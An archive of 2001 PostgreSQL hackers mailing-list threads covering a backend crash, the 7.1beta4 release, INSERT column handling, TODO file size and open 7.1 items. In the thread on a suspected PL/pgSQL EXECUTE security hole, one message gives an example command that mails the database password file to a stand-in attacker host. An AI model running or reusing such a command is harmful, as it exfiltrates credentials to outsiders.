"msg_contents": "Dear Sir,\n\nI will highly appreciated if anyone could inform me how to solve the following problems in Postgres.\nSpecifically, sometimes there are the following messages informed by postgres.\n\n------------------------------------------------\nNOTICE: Message from PostgreSQL backend:\n The Postmaster has informed me that some other backend died abnormally and possibly corrupted shared memory.\n I have rolled back the current transaction and am going to terminate your database system connection and exit.\n Please reconnect to the database system and repeat your query.\npqReadData() -- backend closed the channel unexpectedly.\n This probably means the backend terminated abnormally\n before or while processing the request.\n------------------------------------------------\n\nThank you so much for your concern\n\nJaruwan \n\n\nPS. The Postgres version is 7.0.0 run on Red Hat Linux 7.1\n\n\n\n\n\n\n\n\n\nDear Sir,\n \nI will highly appreciated if anyone could \ninform me how to solve the following problems in Postgres.\nSpecifically, sometimes there are the following messages \ninformed by postgres.\n \n\n------------------------------------------------\nNOTICE: Message from PostgreSQL \nbackend: The Postmaster has \ninformed me that some other backend died abnormally and possibly corrupted \nshared memory. I have rolled back \nthe current transaction and am going to terminate your database system \nconnection and exit. Please \nreconnect to the database system and repeat your query.pqReadData() -- \nbackend closed the channel \nunexpectedly. This probably means \nthe backend terminated abnormally \nbefore or while processing the request.\n\n------------------------------------------------\n \nThank you so much for your concern\n \nJaruwan \n \n \nPS. The Postgres version is 7.0.0 run on Red Hat Linux \n7.1",
"msg_date": "Mon, 29 Jan 2001 18:49:32 +0700",
"msg_from": "\"Jaruwan Laongmal\" <jaruwan@gits.net.th>",
"msg_from_op": true,
"msg_subject": "Emergency case: Postgres problems"
},
{
"msg_contents": "Jaruwan Laongmal wrote:\n[Charset windows-874 unsupported, skipping...]\n> Dear Sir,\n>\n> I will highly appreciated if anyone could inform me how to solve the following problems in Postgres.\n> Specifically, sometimes there are the following messages informed by postgres.\n>\n> ------------------------------------------------\n> NOTICE: Message from PostgreSQL backend:\n> The Postmaster has informed me that some other backend died abnormally and possibly corrupted shared memory.\n> I have rolled back the current transaction and am going to terminate your database system connection and exit.\n> Please reconnect to the database system and repeat your query.\n> pqReadData() -- backend closed the channel unexpectedly.\n> This probably means the backend terminated abnormally\n> before or while processing the request.\n> ------------------------------------------------\n>\n> Thank you so much for your concern\n>\n> Jaruwan\n>\n>\n> PS. The Postgres version is 7.0.0 run on Red Hat Linux 7.1\n\n Upgrade to 7.0.3, which is the latest bugfix release of the\n 7.0 version. There is a good chance that the error causing\n your database process to dump core is fixed in it.\n\n If the problem persists after, you should look for the core\n file in your database directory, use gdb to get a stack\n backtrace and post that information to the list again.\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Mon, 29 Jan 2001 14:33:13 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": false,
"msg_subject": "Re: Emergency case: Postgres problems"
}
] |
[
{
"msg_contents": "\nGood Morning ...\n\nThe PostgreSQL Developers are pleased to announced Beta4 of v7.1.\n\nIn order to reduce the size of the email sent to everyone, we have\nincluded a Changelog file detailing all changes, that is viewable in the\nChangeLogs subdirectory. This file is available outside of the\ndistribution at:\n\nftp://ftp.postgresql.org/pub/ChangeLogs/ChangeLog-7.1beta3-to-7.1beta4\n\nAltho we anticipate at least one more beta release before full release, we\nwould like to encourage as many people as possible to download and test\nout this version on their various platforms. All problems should be\nreport to pgsql-bugs@postgresql.org ...\n\nThe tar files can be downloaded from:\n\n\tftp://ftp.postgresql.org/pub/dev/..\n\nAll mirror sites should have copies of this within the next 24 hours ...\n\nMarc G. Fournier ICQ#7615664 IRC Nick: Scrappy\nSystems Administrator @ hub.org\nprimary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org\n\n\n",
"msg_date": "Mon, 29 Jan 2001 10:03:09 -0400 (AST)",
"msg_from": "The Hermit Hacker <scrappy@hub.org>",
"msg_from_op": true,
"msg_subject": "PostgreSQL v7.1BETA4 Bundled and Available ... "
},
{
"msg_contents": "The Hermit Hacker <scrappy@hub.org> writes:\n> In order to reduce the size of the email sent to everyone, we have\n> included a Changelog file detailing all changes, that is viewable in the\n> ChangeLogs subdirectory. This file is available outside of the\n> distribution at:\n> ftp://ftp.postgresql.org/pub/ChangeLogs/ChangeLog-7.1beta3-to-7.1beta4\n\nThis file seems to be rather seriously incomplete. When I pull changes\nsince 2001-01-11 using cvs2cl, I get about 2450 lines of stuff in 245\nseparate commit messages, not the 24 commits shown here.\n\nNo, the other 220 commits weren't all Bruce updating the TODO ;-)\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 10:51:30 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: [ANNOUNCE] PostgreSQL v7.1BETA4 Bundled and Available ... "
},
{
"msg_contents": "\nokay, then I'm doing it wrong ... I'm using -l \"-r<tag>\" ... will revert\nto using dates next time instead :(\n\nOn Mon, 29 Jan 2001, Tom Lane wrote:\n\n> The Hermit Hacker <scrappy@hub.org> writes:\n> > In order to reduce the size of the email sent to everyone, we have\n> > included a Changelog file detailing all changes, that is viewable in the\n> > ChangeLogs subdirectory. This file is available outside of the\n> > distribution at:\n> > ftp://ftp.postgresql.org/pub/ChangeLogs/ChangeLog-7.1beta3-to-7.1beta4\n>\n> This file seems to be rather seriously incomplete. When I pull changes\n> since 2001-01-11 using cvs2cl, I get about 2450 lines of stuff in 245\n> separate commit messages, not the 24 commits shown here.\n>\n> No, the other 220 commits weren't all Bruce updating the TODO ;-)\n>\n> \t\t\tregards, tom lane\n>\n\nMarc G. Fournier ICQ#7615664 IRC Nick: Scrappy\nSystems Administrator @ hub.org\nprimary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org\n\n",
"msg_date": "Mon, 29 Jan 2001 23:24:08 -0400 (AST)",
"msg_from": "The Hermit Hacker <scrappy@hub.org>",
"msg_from_op": true,
"msg_subject": "Re: [ANNOUNCE] PostgreSQL v7.1BETA4 Bundled and Available ... "
}
] |
[
{
"msg_contents": "Damn,\n\n the new EXECUTE command in PL/pgSQL is a security hole.\n PL/pgSQL is a trusted procedural language, meaning that\n regular users can write code in it. With the new EXECUTE\n command, someone could read and write arbitrary files under\n the postgres UNIX-userid using the COPY command.\n\n So it's easy to overwrite the hba config file for regular\n users. I think we have to restrict the usage of EXECUTE\n inside of function to DB superusers. Meaning, the owner of\n the function using EXECUTE must be superuser, not the actual\n invoker.\n\n More damned - PL/Tcl has the same functionality since ever.\n And there it isn't that easy to restrict, since it has a much\n more generalized SPI interface. What do we do in this case?\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Mon, 29 Jan 2001 10:07:27 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": true,
"msg_subject": "Security hole in PL/pgSQL"
},
{
"msg_contents": "Jan Wieck <janwieck@Yahoo.com> writes:\n> the new EXECUTE command in PL/pgSQL is a security hole.\n> PL/pgSQL is a trusted procedural language, meaning that\n> regular users can write code in it. With the new EXECUTE\n> command, someone could read and write arbitrary files under\n> the postgres UNIX-userid using the COPY command.\n\nHuh? This would only be true if all operations inside plpgsql are\nexecuted as superuser, which they are not. Seems to me the existing\ndefense against non-superuser using COPY is sufficient.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 10:57:01 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Security hole in PL/pgSQL "
},
{
"msg_contents": "> the new EXECUTE command in PL/pgSQL is a security hole.\n\n This actually depends but I must admit that I'm concerned too. However,\nthe responsibility for the results should be split adequately IMHO. DBAs\nshould take care about unathorized access to PGSQL server, that's why\npg_hba.conf is there. Programmers allowed in must make sure that only\nrelative paths or trusted directories are accessed (stripping out `../' and\nprepending a pre-defined path is a must) Also, implementation of EXECUTE\nshould probably rely upon execle() with environment dropped to known secure\nminimum.\n Sorry if this all is already taken into consideration. Just want to second\nJan's statement.\n\n\n--\n\n ������������������������������������\n\n",
"msg_date": "Mon, 29 Jan 2001 16:01:02 +0000",
"msg_from": "KuroiNeko <evpopkov@carrier.kiev.ua>",
"msg_from_op": false,
"msg_subject": "Re: Security hole in PL/pgSQL"
},
{
"msg_contents": "Tom Lane wrote:\n> Jan Wieck <janwieck@Yahoo.com> writes:\n> > the new EXECUTE command in PL/pgSQL is a security hole.\n> > PL/pgSQL is a trusted procedural language, meaning that\n> > regular users can write code in it. With the new EXECUTE\n> > command, someone could read and write arbitrary files under\n> > the postgres UNIX-userid using the COPY command.\n>\n> Huh? This would only be true if all operations inside plpgsql are\n> executed as superuser, which they are not. Seems to me the existing\n> defense against non-superuser using COPY is sufficient.\n\nPhew,\n\n you save my day. I should better think twice before ringing\n the alarm bell :-)\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Mon, 29 Jan 2001 11:29:31 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": true,
"msg_subject": "Re: Security hole in PL/pgSQL"
},
{
"msg_contents": "> Huh? This would only be true if all operations inside plpgsql are\n> executed as superuser, which they are not. Seems to me the existing\n> defense against non-superuser using COPY is sufficient.\n\n Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will\nallow execution of any program via exec*() call? If so, this will allow any\n(system) user to execute arbitrary code as postgres (system) user, right?\nIf so, how can something like\n\nEXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';\n\n be avioded?\n\n\n--\n\n ������������������������������������\n\n",
"msg_date": "Mon, 29 Jan 2001 16:55:14 +0000",
"msg_from": "KuroiNeko <evpopkov@carrier.kiev.ua>",
"msg_from_op": false,
"msg_subject": "Re: Security hole in PL/pgSQL"
},
{
"msg_contents": "On Mon, 29 Jan 2001, KuroiNeko wrote:\n\n> Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will\n> allow execution of any program via exec*() call? If so, this will allow any\n> (system) user to execute arbitrary code as postgres (system) user, right?\n> If so, how can something like\n> \n> EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';\n\nBeing as I was sort of the person who got EXECUTE into plpgsql... I find\nit odd that people think you can execute random shell commands.. AFAICS,\nEXECUTE is used to execute SQL queries (for when you don't want to cache\nthe query plan?) ...\n\n EXECUTE '' CREATE TABLE '' || NEW.dbs_name || '' (\n '' || NEW.dbs_name || ''_id serial, \n '' || NEW.dbs_name || ''_name varchar(20),\n '' || NEW.dbs_name || ''_desc text,\n '' || NEW.dbs_name || ''_qty int4\n );'';\n\nI don't see how anybody could think you are allowed to execute random\ngarbage through exec*()...\n\n\n-- \nDominic J. Eidson\n \"Baruk Khazad! Khazad ai-menu!\" - Gimli\n-------------------------------------------------------------------------------\nhttp://www.the-infinite.org/ http://www.the-infinite.org/~dominic/\n\n",
"msg_date": "Mon, 29 Jan 2001 11:45:59 -0600 (CST)",
"msg_from": "\"Dominic J. Eidson\" <sauron@the-infinite.org>",
"msg_from_op": false,
"msg_subject": "Re: Security hole in PL/pgSQL"
},
{
"msg_contents": "KuroiNeko wrote:\n> > Huh? This would only be true if all operations inside plpgsql are\n> > executed as superuser, which they are not. Seems to me the existing\n> > defense against non-superuser using COPY is sufficient.\n>\n> Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will\n> allow execution of any program via exec*() call? If so, this will allow any\n> (system) user to execute arbitrary code as postgres (system) user, right?\n> If so, how can something like\n>\n> EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';\n>\n> be avioded?\n\n No, EXECUTE just passes a string down to SPI_exec() without\n trying to prepare and save an execution plan for it. It's not\n equivalent to system(3).\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Mon, 29 Jan 2001 13:16:03 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": true,
"msg_subject": "Re: Security hole in PL/pgSQL"
},
{
"msg_contents": "> Being as I was sort of the person who got EXECUTE into plpgsql... I find\n> it odd that people think you can execute random shell commands.. AFAICS,\n> EXECUTE is used to execute SQL queries (for when you don't want to cache\n> the query plan?) ...\n\n Got it. Thanks. Sorry for the hassle. Back lurking in the shadows.\n\n\n--\n\n ������������������������������������\n\n",
"msg_date": "Mon, 29 Jan 2001 18:41:27 +0000",
"msg_from": "KuroiNeko <evpopkov@carrier.kiev.ua>",
"msg_from_op": false,
"msg_subject": "Re: Security hole in PL/pgSQL"
}
] |
[
{
"msg_contents": "\nShouldn't this insert fail? This is 7.0.3.\n\ntemplate1=# create table foo(x int,y varchar(10),z datetime);\nCREATE\ntemplate1=# insert into foo(x,y,z) values(1,'asdf');\nINSERT 19222 1\ntemplate1=#\n\nIf not, why not? z's missing from the values(). Sybase fails it:\n\n1> create table foo(x int,y varchar(10),z datetime)\n2> go\n1> insert into foo(x,y,z) values(1,'asdf')\n2> go\nMsg 109, Level 15, State 1\n, Line 1\nThere are more columns in the INSERT statement than values specified in\nthe VALUES clause. The number of values in the VALUES clause must match\nthe number of columns specified in the INSERT statement.\n1>\n\n\nVince.\n-- \n==========================================================================\nVince Vielhaber -- KA8CSH email: vev@michvhf.com http://www.pop4.net\n 128K ISDN from $22.00/mo - 56K Dialup from $16.00/mo at Pop4 Networking\n Online Campground Directory http://www.camping-usa.com\n Online Giftshop Superstore http://www.cloudninegifts.com\n==========================================================================\n\n\n\n",
"msg_date": "Mon, 29 Jan 2001 11:21:38 -0500 (EST)",
"msg_from": "Vince Vielhaber <vev@michvhf.com>",
"msg_from_op": true,
"msg_subject": "Shouldn't this be an error?"
},
{
"msg_contents": "Vince Vielhaber <vev@michvhf.com> writes:\n> Shouldn't this insert fail? This is 7.0.3.\n\n> template1=# create table foo(x int,y varchar(10),z datetime);\n> CREATE\n> template1=# insert into foo(x,y,z) values(1,'asdf');\n> INSERT 19222 1\n\nWe've always allowed trailing columns to be omitted, whether a column\nname list is specified or not. This is not per spec --- SQL92 and SQL99\nboth say that all the columns must be provided --- but I'm rather\nhesitant to enforce the spec's stricter rule at this point. Seems like\nit'd probably break some existing apps.\n\nA compromise position would be to allow dropping trailing columns only\nwhen the column name list is omitted.\n\nComments?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 11:44:39 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Shouldn't this be an error? "
},
{
"msg_contents": "> Vince Vielhaber <vev@michvhf.com> writes:\n> > Shouldn't this insert fail? This is 7.0.3.\n> \n> > template1=# create table foo(x int,y varchar(10),z datetime);\n> > CREATE\n> > template1=# insert into foo(x,y,z) values(1,'asdf');\n> > INSERT 19222 1\n> \n> We've always allowed trailing columns to be omitted, whether a column\n> name list is specified or not. This is not per spec --- SQL92 and SQL99\n> both say that all the columns must be provided --- but I'm rather\n> hesitant to enforce the spec's stricter rule at this point. Seems like\n> it'd probably break some existing apps.\n> \n> A compromise position would be to allow dropping trailing columns only\n> when the column name list is omitted.\n\nYikes, we allow the column to be missing even if they specify it in\nINSERT. That seems very wrong.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 11:58:15 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Shouldn't this be an error?"
}
] |
[
{
"msg_contents": "\n> A compromise position would be to allow dropping trailing columns only\n> when the column name list is omitted.\n> \n> Comments?\n\nSounds reasonable to me.\n\nAndreas\n",
"msg_date": "Mon, 29 Jan 2001 18:04:25 +0100",
"msg_from": "Zeugswetter Andreas SB <ZeugswetterA@wien.spardat.at>",
"msg_from_op": true,
"msg_subject": "AW: Shouldn't this be an error? "
},
{
"msg_contents": "Zeugswetter Andreas SB <ZeugswetterA@wien.spardat.at> writes:\n>> A compromise position would be to allow dropping trailing columns only\n>> when the column name list is omitted.\n\n> Sounds reasonable to me.\n\nIIRC, there's some interaction between this behavior and the way that\nINSERT ... DEFAULT VALUES is implemented; I think DEFAULT VALUES is\nparsed as an empty values list and then the trailing-column-omission\ncode is what actually makes the right things happen. So changing it\nwithout breaking DEFAULT VALUES is not entirely trivial; it'll take\nsome changes in the raw-parsetree representation. There are other\nmissing SQL features hereabouts also, such as being able to write\na DEFAULTed column explicitly:\n\tINSERT ... VALUES('foo', DEFAULT, 42);\nand being able to insert multiple explicit rows:\n\tINSERT ... VALUES('foo', DEFAULT, 42), VALUES('bar', 99, 44);\nI think we should deal with all of these issues at once, which means\nit's not something to try to fix for 7.1. Bruce, would you add a\nTODO item?\n\n * Bring INSERT ... VALUES up to full SQL92 spec.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 12:30:45 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: AW: Shouldn't this be an error? "
},
{
"msg_contents": "> missing SQL features hereabouts also, such as being able to write\n> a DEFAULTed column explicitly:\n> \tINSERT ... VALUES('foo', DEFAULT, 42);\n> and being able to insert multiple explicit rows:\n> \tINSERT ... VALUES('foo', DEFAULT, 42), VALUES('bar', 99, 44);\n> I think we should deal with all of these issues at once, which means\n> it's not something to try to fix for 7.1. Bruce, would you add a\n> TODO item?\n> \n> * Bring INSERT ... VALUES up to full SQL92 spec.\n\nAdded to TODO:\n\n * Bring INSERT ... VALUES up to full SQL92 spec, disallow missing columns\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 12:44:37 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: AW: Shouldn't this be an error?"
},
{
"msg_contents": "> a DEFAULTed column explicitly:\n> \tINSERT ... VALUES('foo', DEFAULT, 42);\n> and being able to insert multiple explicit rows:\n> \tINSERT ... VALUES('foo', DEFAULT, 42), VALUES('bar', 99, 44);\n> I think we should deal with all of these issues at once, which means\n> it's not something to try to fix for 7.1. Bruce, would you add a\n> TODO item?\n> \n> * Bring INSERT ... VALUES up to full SQL92 spec.\n\nOops, I have now added:\n\n* Bring INSERT ... VALUES up to full SQL92 spec, disallow missing\n columns, allow DEFAULT\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 12:45:24 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: AW: Shouldn't this be an error?"
}
] |
[
{
"msg_contents": "pgsql/docs/TODO.detail now is 1.1MB. I just removed 'subquery' which\nshrunk it from 1.5MB. Comments?\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 12:52:04 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Size of TODO.detail"
},
{
"msg_contents": "Bruce Momjian wrote:\n> \n> pgsql/docs/TODO.detail now is 1.1MB. I just removed 'subquery' which\n> shrunk it from 1.5MB. Comments?\n\nYow! Nice stuff in there, that is for sure. Of course, that's alot of\nspace. What to do? Remove all the unnecessary e-mail headers? \nSignatures? etc? excessive quotes? Isn't there a e-mail header\nstripping utility around that can un-header things, leaving some but not\nall?\n\nWant me to edit some in my spare time?\n\nAccording to some grepping and counting, Received: lines alone are\ntaking up 180K, or thereabouts. And that's just the first line, as most\nReceived: headers are multiline. After adding up all the other X-\nheaders, I'm sure we could trim that down further.\n\nIt can also be compressed, if we want.\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Mon, 29 Jan 2001 14:29:52 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": false,
"msg_subject": "Re: Size of TODO.detail"
},
{
"msg_contents": "> Bruce Momjian wrote:\n> > \n> > pgsql/docs/TODO.detail now is 1.1MB. I just removed 'subquery' which\n> > shrunk it from 1.5MB. Comments?\n> \n> Yow! Nice stuff in there, that is for sure. Of course, that's alot of\n> space. What to do? Remove all the unnecessary e-mail headers? \n> Signatures? etc? excessive quotes? Isn't there a e-mail header\n> stripping utility around that can un-header things, leaving some but not\n> all?\n\nI just tried 'printmail' that strips off most of the unused stuff:\n\t\n\n\tFrom: Bruce Momjian <pgman@candle.pha.pa.us>\n\tSubject: [HACKERS] Fix for RENAME\n\tTo: PostgreSQL-development <pgsql-hackers@postgresql.org>\n\tDate: Sun, 12 Mar 2000 22:59:56 -0500 (EST)\n\n---------------------------------------------------------------------------\n\n\t#$ printmail tablespaces >/bjm/x\n\t#$ l /bjm/x\n\t-rw-r--r-- 1 root wheel 328855 Jan 30 12:16 /bjm/x\n\t#$ l tablespaces \n\t-rw-r--r-- 1 postgres wheel 495730 Jan 19 00:09 tablespaces\n\n---------------------------------------------------------------------------\n\nDoesn't seem like it saves enough, and it will prevent people from\nreading the mailbox in their mail readers.\n\nCompress takes it to 100k, which is much smaller. Of course, the tar\nfile has it compress too, so pre-compressing it doesn't buy us anything.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Tue, 30 Jan 2001 12:18:52 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Size of TODO.detail"
},
{
"msg_contents": "Bruce Momjian wrote:\n>Lamar Owen wrote: \n> > Yow! Nice stuff in there, that is for sure. Of course, that's alot of\n> > space. What to do? Remove all the unnecessary e-mail headers?\n \n> I just tried 'printmail' that strips off most of the unused stuff:\n[...]\n> Doesn't seem like it saves enough, and it will prevent people from\n> reading the mailbox in their mail readers.\n\nWorth a try, at least.\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Tue, 30 Jan 2001 15:29:13 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": false,
"msg_subject": "Re: Size of TODO.detail"
}
] |
[
{
"msg_contents": "LAZY VACUUM (Vadim)\nRuntime btree recovery (Vadim)\nJDBC setMaxRows() is global variable affecting other objects\nJDBC LargeObject short read return value missing\nODBC not disconnecting properly?\nMerge MySQL/PgSQL translation scripts\nFix ipcclean on Linux\nunixODBC\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 15:02:50 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Open 7.1 items"
},
{
"msg_contents": "* Bruce Momjian <pgman@candle.pha.pa.us> [010129 14:03]:\n> Fix ipcclean on Linux\nI believe Peter_E handled the above last week....\n-- \nLarry Rosenman http://www.lerctr.org/~ler\nPhone: +1 972-414-9812 E-Mail: ler@lerctr.org\nUS Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749\n",
"msg_date": "Mon, 29 Jan 2001 14:05:42 -0600",
"msg_from": "Larry Rosenman <ler@lerctr.org>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "> * Bruce Momjian <pgman@candle.pha.pa.us> [010129 14:03]:\n> > Fix ipcclean on Linux\n> I believe Peter_E handled the above last week....\n\nAll I see is below, and the diff -c shows just the grep change.\n\n---------------------------------------------------------------------------\n\nrevision 1.7\ndate: 2001/01/25 16:32:25; author: petere; state: Exp; lines: +2 -2\nAvoid bogus failures due to 'ps x | grep postmaster' detecting 'grep\npostmaster' process.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 15:38:01 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "* Bruce Momjian <pgman@candle.pha.pa.us> [010129 14:40]:\n> > * Bruce Momjian <pgman@candle.pha.pa.us> [010129 14:03]:\n> > > Fix ipcclean on Linux\n> > I believe Peter_E handled the above last week....\n> \n> All I see is below, and the diff -c shows just the grep change.\nI thought that was all that was crabbed about?...\n> \n> ---------------------------------------------------------------------------\n> \n> revision 1.7\n> date: 2001/01/25 16:32:25; author: petere; state: Exp; lines: +2 -2\n> Avoid bogus failures due to 'ps x | grep postmaster' detecting 'grep\n> postmaster' process.\n> \n> -- \n> Bruce Momjian | http://candle.pha.pa.us\n> pgman@candle.pha.pa.us | (610) 853-3000\n> + If your life is a hard drive, | 830 Blythe Avenue\n> + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n-- \nLarry Rosenman http://www.lerctr.org/~ler\nPhone: +1 972-414-9812 E-Mail: ler@lerctr.org\nUS Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749\n",
"msg_date": "Mon, 29 Jan 2001 14:41:00 -0600",
"msg_from": "Larry Rosenman <ler@lerctr.org>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "> * Bruce Momjian <pgman@candle.pha.pa.us> [010129 14:40]:\n> > > * Bruce Momjian <pgman@candle.pha.pa.us> [010129 14:03]:\n> > > > Fix ipcclean on Linux\n> > > I believe Peter_E handled the above last week....\n> > \n> > All I see is below, and the diff -c shows just the grep change.\n> I thought that was all that was crabbed about?...\n\nNo, there were some bad variable uses and stuff.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 29 Jan 2001 16:04:33 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "At 15:02 29/01/01 -0500, Bruce Momjian wrote:\n>LAZY VACUUM (Vadim)\n>Runtime btree recovery (Vadim)\n>JDBC setMaxRows() is global variable affecting other objects\n\nNow fixed. When called from within a Statement it uses its maxrows value, \nbut internal queries don't have a restriction.\n\n>JDBC LargeObject short read return value missing\n\nFixed. LargeObject.read(byte[],int,int) now returns the number of bytes \nactualy read.\n\n>ODBC not disconnecting properly?\n>Merge MySQL/PgSQL translation scripts\n>Fix ipcclean on Linux\n>unixODBC\n>\n>--\n> Bruce Momjian | http://candle.pha.pa.us\n> pgman@candle.pha.pa.us | (610) 853-3000\n> + If your life is a hard drive, | 830 Blythe Avenue\n> + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n\n",
"msg_date": "Tue, 30 Jan 2001 22:31:36 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "\nThanks, Peter. This is a big help.\n\n> At 15:02 29/01/01 -0500, Bruce Momjian wrote:\n> >LAZY VACUUM (Vadim)\n> >Runtime btree recovery (Vadim)\n> >JDBC setMaxRows() is global variable affecting other objects\n> \n> Now fixed. When called from within a Statement it uses its maxrows value, \n> but internal queries don't have a restriction.\n> \n> >JDBC LargeObject short read return value missing\n> \n> Fixed. LargeObject.read(byte[],int,int) now returns the number of bytes \n> actualy read.\n> \n> >ODBC not disconnecting properly?\n> >Merge MySQL/PgSQL translation scripts\n> >Fix ipcclean on Linux\n> >unixODBC\n> >\n> >--\n> > Bruce Momjian | http://candle.pha.pa.us\n> > pgman@candle.pha.pa.us | (610) 853-3000\n> > + If your life is a hard drive, | 830 Blythe Avenue\n> > + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
